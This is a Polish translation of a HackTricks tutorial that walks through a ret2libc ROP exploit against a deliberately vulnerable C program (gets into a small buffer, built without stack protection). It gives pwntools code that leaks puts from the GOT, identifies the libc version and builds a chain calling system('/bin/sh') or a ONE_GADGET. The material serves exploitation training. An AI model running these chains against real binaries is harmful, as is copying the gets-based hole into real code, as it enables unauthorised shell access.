hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
2024-02-11 01:46:25 +00:00
..
README.md Translated to Polish 2024-02-11 01:46:25 +00:00
rop-leaking-libc-template.md Translated to Polish 2024-02-11 01:46:25 +00:00

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Szybkie podsumowanie

  1. Znajdź przesunięcie przepełnienia
  2. Znajdź gadżety POP_RDI, PUTS_PLT i MAIN_PLT
  3. Użyj wcześniejszych gadżetów do wycieku adresu pamięci puts lub innej funkcji libc i znajdź wersję libc (pobierz ją)
  4. Korzystając z biblioteki, oblicz ROP i wykorzystaj go

Inne samouczki i pliki binarne do ćwiczeń

Ten samouczek będzie wykorzystywał kod/binarny zaproponowany w tym samouczku: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Inne przydatne samouczki: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Nazwa pliku: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector  -no-pie

ROP - Szablon wyciekający LIBC

Będę używać kodu znajdującego się tutaj, aby przeprowadzić atak.
Pobierz exploit i umieść go w tym samym katalogu co podatny plik binarny oraz podaj wymagane dane skryptowi:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- Znalezienie przesunięcia

Szablon wymaga przesunięcia przed kontynuacją ataku. Jeśli nie zostanie podane, zostanie wykonany odpowiedni kod w celu znalezienia go (domyślnie OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Wykonaj python template.py, otworzy się konsola GDB z programem, który się zawiesił. Wewnątrz tej konsoli GDB wykonaj x/wx $rsp, aby uzyskać bajty, które miały nadpisać RIP. Na koniec, użyj konsoli pythona, aby uzyskać przesunięcie:

from pwn import *
cyclic_find(0x6161616b)

Po znalezieniu przesunięcia (w tym przypadku 40) zmień zmienną OFFSET w szablonie, używając tej wartości.
OFFSET = "A" * 40

Innym sposobem jest użycie: pattern create 1000 -- wykonaj do ret -- pattern search $rsp z GEF.

2- Znajdowanie gadżetów

Teraz musimy znaleźć gadżety ROP wewnątrz pliku binarnego. Gadżety ROP będą przydatne do wywołania puts, aby znaleźć używaną bibliotekę libc, a następnie do uruchomienia ostatecznego ataku.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT jest potrzebne do wywołania funkcji puts.
MAIN_PLT jest potrzebne do ponownego wywołania głównej funkcji po jednym interakcji, aby wykorzystać przepełnienie ponownie (nieskończone rundy wykorzystania). Jest używane na końcu każdego ROP, aby ponownie wywołać program.
POP_RDI jest potrzebne do przekazania parametru do wywoływanej funkcji.

W tym kroku nie musisz niczego wykonywać, ponieważ wszystko zostanie znalezione przez narzędzie pwntools podczas wykonywania.

3- Wyszukiwanie biblioteki LIBC

Teraz nadszedł czas, aby dowiedzieć się, która wersja biblioteki libc jest używana. Aby to zrobić, będziemy wyciekać adres w pamięci funkcji puts, a następnie będziemy szukać, w której wersji biblioteki znajduje się ta wersja puts na tym adresie.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Aby to zrobić, najważniejsza linia wykonanego kodu to:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

To wyśle kilka bajtów, aż będzie możliwe nadpisanie RIP: OFFSET.
Następnie ustawiony zostanie adres gadżetu POP_RDI, aby następny adres (FUNC_GOT) został zapisany w rejestrze RDI. Dzieje się tak, ponieważ chcemy wywołać funkcję puts, przekazując jej adres PUTS_GOT jako adres w pamięci funkcji puts, który jest zapisany pod adresem wskazywanym przez PUTS_GOT.
Następnie zostanie wywołane PUTS_PLT (z PUTS_GOT w rejestrze RDI), dzięki czemu puts odczyta zawartość wewnątrz PUTS_GOT (adres funkcji puts w pamięci) i wypisze go.
Na koniec ponownie zostanie wywołana funkcja main, aby można było ponownie wykorzystać przepełnienie.

W ten sposób oszukaliśmy funkcję puts, aby wypisała adres w pamięci funkcji puts (która znajduje się w bibliotece libc). Teraz, gdy mamy ten adres, możemy sprawdzić, która wersja libc jest używana.

Ponieważ wykorzystujemy pewny lokalny plik binarny, nie jest konieczne ustalanie, która wersja libc jest używana (wystarczy znaleźć bibliotekę w /lib/x86_64-linux-gnu/libc.so.6).
Jednak w przypadku zdalnego ataku wyjaśnię tutaj, jak możesz to znaleźć:

3.1- Wyszukiwanie wersji libc (1)

Możesz wyszukać używaną bibliotekę na stronie internetowej: https://libc.blukat.me/
Pozwoli to również pobrać odkrytą wersję libc.

3.2- Wyszukiwanie wersji libc (2)

Możesz również wykonać:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

To zajmie trochę czasu, bądź cierpliwy.
Aby to zadziałało, potrzebujemy:

  • Nazwa symbolu libc: puts
  • Wyciekły adres libc: 0x7ff629878690

Możemy dowiedzieć się, która libc jest najprawdopodobniej używana.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Mamy 2 dopasowania (powinieneś spróbować drugiego, jeśli pierwszy nie działa). Pobierz pierwszy:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Skopiuj libc z libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so do naszego katalogu roboczego.

3.3- Inne funkcje do wycieku

puts
printf
__libc_start_main
read
gets

4- Znajdowanie adresu biblioteki libc i wykorzystywanie go

W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny plik binarny, użyję tylko: /lib/x86_64-linux-gnu/libc.so.6

Więc na początku pliku template.py zmień zmienną libc na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy

Podając ścieżkę do biblioteki libc, reszta exploita zostanie automatycznie obliczona.

Wewnątrz funkcji get_addr zostanie obliczony bazowy adres libc:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} Należy zauważyć, że końcowa podstawowa adresu libc musi kończyć się na 00. Jeśli tak nie jest, może to oznaczać wyciek nieprawidłowej biblioteki. {% endhint %}

Następnie, adres funkcji system oraz adres ciągu znaków "/bin/sh" zostaną obliczone na podstawie adresu podstawowego biblioteki libc i danej biblioteki libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

W końcu, exploit wykonujący /bin/sh zostanie przygotowany i wysłany:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Wyjaśnijmy ten ostatni ROP.
Ostatni ROP (rop1) kończył wywołanie funkcji main, więc możemy ponownie wykorzystać przepełnienie (dlatego tutaj jest ponownie OFFSET). Następnie chcemy wywołać POP_RDI, wskazując na adres "/bin/sh" (BINSH), a następnie wywołać funkcję system (SYSTEM), ponieważ adres "/bin/sh" zostanie przekazany jako parametr.
Na koniec wywoływana jest funkcja exit, aby proces ładnie zakończył działanie i nie generował żadnych alertów.

W ten sposób exploit uruchomi powłokę _/bin/sh_.

4(2)- Używanie ONE_GADGET

Możesz również użyć ONE_GADGET, aby uzyskać powłokę zamiast korzystać z system i "/bin/sh". ONE_GADGET znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego adresu ROP.
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to takie jak [rsp+0x30] == NULL. Ponieważ kontrolujesz wartości w RSP, wystarczy wysłać kilka dodatkowych wartości NULL, aby uniknąć ograniczenia.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

PLIK EXPLOITACJI

Szablon do wykorzystania tej podatności można znaleźć tutaj:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Powszechne problemy

MAIN_PLT = elf.symbols['main'] nie został znaleziony

Jeśli symbol "main" nie istnieje, możesz po prostu sprawdzić, gdzie znajduje się kod główny:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

i ustaw adres ręcznie:

MAIN_PLT = 0x401080

Puts nie znaleziony

Jeśli binarny plik nie używa Puts, powinieneś sprawdzić, czy używa

sh: 1: %s%s%s%s%s%s%s%s: not found

Jeśli po utworzeniu wszystkich exploitów napotkasz ten błąd: sh: 1: %s%s%s%s%s%s%s%s: not found

Spróbuj odjąć 64 bajty od adresu "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: